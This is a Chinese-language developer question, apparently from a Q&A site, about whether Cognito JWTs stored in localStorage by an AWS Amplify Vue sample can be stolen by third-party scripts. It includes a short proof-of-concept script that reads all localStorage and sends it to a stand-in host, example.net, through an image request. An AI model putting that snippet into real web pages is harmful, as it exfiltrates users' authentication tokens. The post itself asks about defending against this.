我正在研究使用aws/aws-amplify的aws-samples/aws-amplify-vue示例。我试图了解JWT如何与Cognito一起用于身份验证,但我不明白身份验证后收到的 JWT 如何受到保护,不会被我可能正在使用的任何第三方 JavaScript 库泄露和使用。
我克隆了示例并按照说明进行设置。然后我修改index.html
为包含一个额外的<script>
:
<script src="https://example.com/list-localstorage.js"></script>
然后我主持list-localstorage.js
。example.com
内容是:
// Ref: https://stackoverflow.com/a/28306101/624726
var allStorage = Object.keys(localStorage).reduce(function(obj, str) {
obj[str] = localStorage.getItem(str);
return obj
}, {});
// Ref: https://stackoverflow.com/a/5049668/624726
(new Image).src = 'https://example.net/log-storage?' + JSON.stringify(allStorage);
当我查看 的访问日志时example.net
,我看到我的 JWT 被记录下来。我能够验证id
和access
令牌上的签名。
这些可用于访问受保护的内容吗?他们在做什么来防止(例如:)恶意 JavaScript 广告localStorage
使用我的 JWT 读取和窃取所有数据?